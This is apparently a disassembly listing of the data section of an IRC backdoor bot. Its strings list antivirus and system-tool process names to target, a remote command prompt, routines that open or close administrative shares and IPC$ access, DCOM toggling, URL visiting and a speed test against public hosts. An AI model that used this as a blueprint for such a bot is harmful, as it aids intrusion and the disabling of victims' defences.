dword_439E18 dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:00439DCCo
dword_439E24 dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439DC8o
dword_439E30 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439DC4o
dword_439E3C dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: ___:00439DC0o
dword_439E4C dd 61656262h, 2E656C67h, 657865h ; DATA XREF: ___:00439DBCo
dword_439E58 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: ___:00439DB8o
dword_439E64 dd 6B656574h, 2E736469h, 657865h ; DATA XREF: ___:00439DB4o
dword_439E70 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: ___:00439DB0o
dword_439E7C dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: ___:00439DACo
dword_439E88 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: ___:00439DA8o
aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:00439DA4o
align 4
aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:00439DA0o
aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: ___:00439D9Co
align 10h
aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: ___:00439D98o
align 10h
aNavw32_exe db 'navw32.exe',0 ; DATA XREF: ___:00439D94o
align 4
aZapro_exe db 'zapro.exe',0 ; DATA XREF: ___:00439D90o
align 4
aMsblast_exe db 'msblast.exe',0 ; DATA XREF: ___:00439D8Co
aNetstat_exe db 'netstat.exe',0 ; DATA XREF: ___:00439D88o
aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: ___:00439D84o
align 10h
aRegedit_exe db 'regedit.exe',0 ; DATA XREF: ___:off_439D80o
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_4196BC+191o
align 4
unk_439F38 db 2Dh ; - ; DATA XREF: sub_4198EB:loc_419972o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListFai db ' process list failed',0
align 4
unk_439F5C db 2Dh ; - ; DATA XREF: sub_4198EB+80o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListCom db ' process list complete',0
align 10h
unk_439F80 db 2Dh ; - ; DATA XREF: sub_4198EB+19o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aListingProcess db ' listing processes:',0
aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o
unk_439FB0 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419C41o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0
unk_439FE0 db 2Dh ; - ; DATA XREF: sub_419B0F+10Fo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0
align 4
unk_43A008 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419BF5o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0
align 4
unk_43A038 db 2Dh ; - ; DATA XREF: sub_419C64+194o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0
align 4
unk_43A06C db 2Dh ; - ; DATA XREF: sub_419C64+14Co
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteCommandP db '- Remote Command Prompt',0
align 10h
off_43A090 dd offset dword_43A0C8 ; DATA XREF: sub_419E79+1B3o
; sub_41A19D+17Ao
align 8
dd offset dword_43A0C0
align 10h
off_43A0A0 dd offset dword_43A0BC ; DATA XREF: sub_41A19D+1E3o
dd offset dword_43A0B8
dd offset dword_43A0B4
dd offset dword_43A0B0
dword_43A0B0 dd 5C3A44h ; DATA XREF: sub_419E79+217o
; ___:0043A0ACo
dword_43A0B4 dd 2444h ; DATA XREF: ___:0043A0A8o
dword_43A0B8 dd 5C3A43h ; DATA XREF: ___:0043A0A4o
dword_43A0BC dd 2443h ; DATA XREF: ___:off_43A0A0o
dword_43A0C0 dd 494D4441h, 244Eh ; DATA XREF: ___:0043A098o
dword_43A0C8 dd 24435049h, 0 ; DATA XREF: ___:off_43A090o
dword_43A0D0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2E5o
; sub_41A19D+2DBo
aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0
align 10h
dword_43A100 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2CFo
aNetworkSharesD db '- Network shares deleted.',0
align 4
dword_43A128 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A0DBo
aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0
align 4
dword_43A154 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+25Bo
aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0
align 4
dword_43A178 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A048o
aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0
align 4
dword_43A1A4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+1C8o
aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0
align 4
dword_43A1C8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FABo
; sub_41A19D:loc_41A2CBo
aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0
align 4
dword_43A1F8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FA4o
aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0
dword_43A234 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419F86o
aRestrictedAcce db '- Restricted access to the IPC$ Share.',0
align 4
dword_43A268 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+106o
aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0
align 4
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo
; sub_41A19D+EDo
align 4
dword_43A2B8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+91o
; sub_41A19D+91o
aFailedToOpenDc db '- Failed to open DCOM registry key.',0
dword_43A2E8 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh
; DATA XREF: sub_419E79:loc_419EE6o
dd 62617369h, 2E64656Ch, 0
dword_43A308 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+66o
aDisableDcomFai db '- Disable DCOM failed.',0
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_419E79+54o
; sub_41A19D+54o
align 4
dword_43A338 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+2C3o
aNetworkSharesA db '- Network shares added.',0
aC_0 db '%c:\',0 ; DATA XREF: sub_41A19D+230o
align 4
aC_1 db '%c$',0 ; DATA XREF: sub_41A19D+219o
dword_43A368 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A33Co
; sub_41A19D:loc_41A40Do
aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A390 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+198o
; sub_41A19D+269o
aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0
dword_43A3B0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2C4o
aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0
dword_43A3EC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2A6o
aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0
align 4
dword_43A424 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+102o
aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0
align 4
dword_43A464 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh
; DATA XREF: sub_41A19D:loc_41A20Ao
dd 6C62616Eh, 2E6465h
dword_43A480 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+66o
aEnableDcomFail db '- Enable DCOM failed.',0
align 4
aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o
db 'Host: %s',0Dh,0Ah
db 'Content-Length: %d',0Dh,0Ah
db 0Dh,0Ah,0
align 4
dword_43A4D8 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h
; DATA XREF: sub_41A6AE+1A7o
dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o
align 4
aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41A6AE+BDo
aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41A6AE+B6o
align 4
aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41A6AE+AFo
align 4
aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o
align 10h
aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o
aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41A6AE+9Ao
align 4
aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o
align 4
aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41A6AE+8Co
align 4
aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41A6AE+85o
align 4
aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41A6AE+7Eo
align 4
aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41A6AE+77o
align 4
aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o
align 4
aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41A6AE+69o
aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41A6AE+62o
aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41A6AE+5Bo
align 4
aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o
align 4
aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41A6AE+4Do
align 4
aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41A6AE+46o
align 4
aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41A6AE+3Fo
align 4
aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41A6AE+38o
align 4
aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41A6AE+31o
align 4
aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41A6AE+2Ao
align 4
aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41A6AE+23o
align 4
aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41A6AE+1Co
align 4
aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41A6AE+15o
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41A88B+52o
dword_43A6F0 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah
; DATA XREF: sub_41AA42+297o
dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h
dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
dd 74705502h, 2656D69h, 7325203Ah, 2Eh
dword_43A7CC dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AA42+192o
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o
align 10h
aSS_1 db '%s (%s)',0 ; DATA XREF: sub_41AA42+EBo
dword_43A7F8 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h
; DATA XREF: sub_41ACF6+A4o
dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h
dd 7325203Ah, 2Eh
off_43A83C dd offset word_412F4E ; DATA XREF: sub_41ACF6:loc_41AD62o
off_43A840 dd offset dword_4E414C ; DATA XREF: sub_41ACF6:loc_41AD58o
dword_43A844 dd 6C616944h, 70752Dh ; DATA XREF: sub_41ACF6+5Bo
dword_43A84C dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41ACF6+48o
unk_43A85C db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF6Eo
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToConnec db ' Failed to connect to HTTP server.',0
align 4
unk_43A88C db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF67o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aCouldNotOpenAC db ' Could not open a connection.',0
align 4
dword_43A8B8 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h
; DATA XREF: sub_41ADB5+1A0o
dd 4C525520h, 2Eh
unk_43A8D4 db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF48o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0
align 10h
dword_43A910 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h
; DATA XREF: sub_41ADB5+18Co
dd 64657469h, 2Eh
dword_43A92C dd 2A2F2Ah ; DATA XREF: sub_41ADB5+3Bo
dword_43A930 dd 93909028h ; DATA XREF: sub_41B8D8+4w sub_41B8E2r ...
align 10h
dword_43A940 dd 173Fh ; DATA XREF: sub_41C679+Dr
dd 9875h, 9873h
off_43A94C dd offset sub_41C748 ; DATA XREF: ___:0041B784r
dd offset nullsub_2
dd offset nullsub_2
dword_43A958 dd 1B3Fh ; DATA XREF: sub_41C7BF+Dr
dword_43A95C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41CC41+2o
; sub_41CC4A+2o
off_43A970 dd offset sub_41B7C2 ; DATA XREF: sub_41DA29+1Cr
dword_43A974 dd 2 ; DATA XREF: sub_423590+Er
; sub_4235C9+46r ...
dd 10h, 0
off_43A980 dd offset off_43A980 ; DATA XREF: sub_41E976+Do
; sub_41E976+69o ...
off_43A984 dd offset off_43A980 ; DATA XREF: sub_41E976:loc_41E9F6r
; sub_41E976+89w ...
dd offset dword_43A998
dd offset dword_43A998
dword_43A990 dd 0FFFFFFFFh ; DATA XREF: sub_41E976r
; sub_41EABA:loc_41EB07w
dd 0FFFFFFFFh
dword_43A998 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: ___:0043A988o
; ___:0043A98Co
off_43C9A0 dd offset off_43A980 ; DATA XREF: sub_41EABA+15r
; sub_41EABA+20w ...
dword_43C9A4 dd 1E0h ; DATA XREF: sub_41B202+185r
; sub_41B513:loc_41B54Fr ...
off_43C9A8 dd offset word_43C9B2 ; DATA XREF: sub_41B6EE+23r
; sub_41B6EE:loc_41B74Fr ...
off_43C9AC dd offset word_43C9B2 ; DATA XREF: sub_426BC1+18r
db 2 dup(0)
word_43C9B2 dw 20h ; DATA XREF: sub_424D47+18r
; ___:off_43C9A8o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43CBB4 dd 1 ; DATA XREF: sub_41B6EE:loc_41B6F6r
; sub_41B6EE:loc_41B73Ar ...
byte_43CBB8 db 2Eh ; DATA XREF: sub_420510:loc_420804r
; sub_420510+311r ...
align 4
dd 1
off_43CBC0 dd offset aNull_0 ; DATA XREF: sub_41F69F:loc_41FA03r
; sub_41F69F+457r
; "(null)"
off_43CBC4 dd offset aNull ; DATA XREF: sub_41F69F+259r
; "(null)"
byte_43CBC8 db 1 ; DATA XREF: sub_41FEA9+E1r
db 2, 4, 8
align 10h
dword_43CBD0 dd 3A4h ; DATA XREF: sub_41FEA9+2Fo
dword_43CBD4 dd 82798260h, 21h, 0 ; DATA XREF: sub_41FEA9+11Dr
dword_43CBE0 dd 0DFA6h ; DATA XREF: sub_41FEA9+C0r
align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43CCC0 dd 1 ; DATA XREF: sub_41FEA9+3Co
; sub_4203DF+Co
dword_43CCC4 dd 16h ; DATA XREF: sub_4203DF:loc_420414r
dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43CE28 dd 0D2D0920h, 5Dh ; DATA XREF: sub_4203DF+19o
; sub_420510:loc_420A77o
dword_43CE30 dd 5Dh, 0 ; DATA XREF: sub_420510:loc_420967o
dword_43CE38 dd 14h ; DATA XREF: sub_421624+2o
off_43CE3C dd offset aExp ; DATA XREF: sub_421624:loc_421641r
; "exp"
dd 1Dh, 427878h, 1Ah, 42C92Ch, 1Bh, 427870h, 1Fh, 427868h
dd 13h, 427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h
dd 0Fh, 427840h, 10h, 427838h, 5, 427830h, 1Eh, 42782Ch
dd 12h, 427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h
dd 15h, 42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h
dd 18h, 4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h
dd 23h, 4277D4h, 24h, 4277D0h
dbl_43CF10 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+B7r
; sub_42135F:loc_421446r ...
dd 0
dd 0FFF80000h
dbl_43CF20 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+92r
; sub_42135F:loc_42141Er ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_43CF38 dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr
; sub_42180C+1Fr
align 4
tbyte_43CF44 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r
align 10h
off_43CF50 dd offset sub_421CA0 ; DATA XREF: sub_41C760+Fw
; sub_41F69F+3AAr
off_43CF54 dd offset sub_421935 ; DATA XREF: sub_41C760+5w
; sub_41F69F+3E2r
off_43CF58 dd offset sub_42199B ; DATA XREF: sub_41C760+14w
; sub_420510+430r
off_43CF5C dd offset sub_4218DB ; DATA XREF: sub_41C760+1Ew
; sub_41F69F+3CBr
off_43CF60 dd offset sub_421983 ; DATA XREF: sub_41C760+28w
off_43CF64 dd offset sub_421CA0 ; DATA XREF: sub_41C760+32w
dd offset sub_42470C
align 10h
dd offset sub_42255C
off_43CF74 dd offset sub_42255C ; DATA XREF: sub_4225B2+29r
dword_43CF78 dd 0C0000005h ; DATA XREF: sub_422E2F+Ar
; sub_422E2F+11o ...
dword_43CF7C dd 0Bh ; DATA XREF: sub_425A82+Ar
dd 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_43CFF0 dd 3 ; DATA XREF: ___:00422D46r
; sub_425955+C8r
dword_43CFF4 dd 7 ; DATA XREF: ___:00422D4Cr
; sub_425955+CDr
dword_43CFF8 dd 0Ah ; DATA XREF: sub_422E2F+4r
; sub_425A82+4r
dword_43CFFC dd 8Ch ; DATA XREF: ___:00422D70r
; ___:00422D7Dw ...
dword_43D000 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F043:loc_41F0C4o
; sub_41F58A:loc_41F647o
dword_43D008 dd 2 ; DATA XREF: sub_4235C9+Eo
; sub_4235C9+28r
off_43D00C dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr
; sub_4235C9+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 427B94h, 9, 427B68h, 0Ah, 427B44h, 10h, 427B18h
dd 11h, 427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h
dd 19h, 427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h
dd 78h, 427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 433EDCh
dd 0FFh, 427960h
off_43D098 dd offset dword_4DBC60 ; DATA XREF: sub_4235C9+1Bo
; sub_423936+55o
align 10h
dd offset dword_4DBC60
dd 101h
dword_43D0A8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_423936+72o
dd 1000h, 0
dword_43D0B8 dd 3 dup(0) ; DATA XREF: sub_41F58A+50o
; sub_420446+12o
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43D0D8 dd 3 dup(0) ; DATA XREF: sub_41F58A+58o
; sub_420446:loc_420464o
dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43D108 dd 84h dup(0) ; DATA XREF: sub_423936+9Bo
dword_43D318 dd 2 dup(0) ; DATA XREF: sub_423936+69o
dword_43D320 dd 2694h ; DATA XREF: sub_420FC1+3r
; sub_421014+46r
align 8
dword_43D328 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_4244ECo
dword_43D340 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o
dword_43D358 dd 7080h ; DATA XREF: sub_422669+76r
; sub_4247EC+5Ew ...
dword_43D35C dd 1 ; DATA XREF: sub_422669+98r
; sub_4247EC+8Bw ...
dword_43D360 dd 0FFFFF1F0h ; DATA XREF: sub_422669:loc_42271Br
; sub_4247EC+94w ...
off_43D364 dd offset dword_545350 ; DATA XREF: ___:off_43D3E4o
dd 0Fh dup(0)
off_43D3A4 dd offset dword_544450 ; DATA XREF: ___:off_43D3E8o
dd 0Fh dup(0)
off_43D3E4 dd offset off_43D364 ; DATA XREF: sub_4247EC+BAr
; sub_4247EC+D9r ...
off_43D3E8 dd offset off_43D3A4 ; DATA XREF: sub_4247EC+F4r
; sub_4247EC+11Br ...
align 10h
dword_43D3F0 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+1Dw
; sub_424A4A+1Er ...
dword_43D3F4 dd 0 ; DATA XREF: sub_424A4A:loc_424B7Er
; sub_424BF6+BFw
dword_43D3F8 dd 0 ; DATA XREF: sub_424A4A+192r
; sub_424BF6+E0w
align 10h
dword_43D400 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+17w
; sub_424A4A+26r ...
dword_43D404 dd 0 ; DATA XREF: sub_424A4A+13Ar
; sub_424BF6+EAw ...
dword_43D408 dd 0 ; DATA XREF: sub_424A4A+1A1r
; sub_424BF6+23r ...
dword_43D40C dd 0FFFFFFFFh ; DATA XREF: sub_424BF6+84r
dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_43D43C dd 16Dh ; DATA XREF: sub_422669+2Ar
; sub_424BF6+2Er ...
dword_43D440 dd 0FFFFFFFFh ; DATA XREF: sub_424BF6:loc_424C82r
dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch, 0
dword_43D478 dd 2 dup(0) ; DATA XREF: sub_425DDA+7o
dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_43D5D8 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_425DDA+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh
off_43D734 dd offset off_427D68 ; DATA XREF: ___:00427F44o
; ___:00428030o
dd 0
a_?avexception@ db '.?AVexception@@',0
off_43D74C dd offset off_427D68 ; DATA XREF: ___:off_427DF8o
; ___:00427E38o ...
dd 0
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_43D76C dd offset off_427D68 ; DATA XREF: ___:off_427E40o
; ___:00427E84o ...
dd 0
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
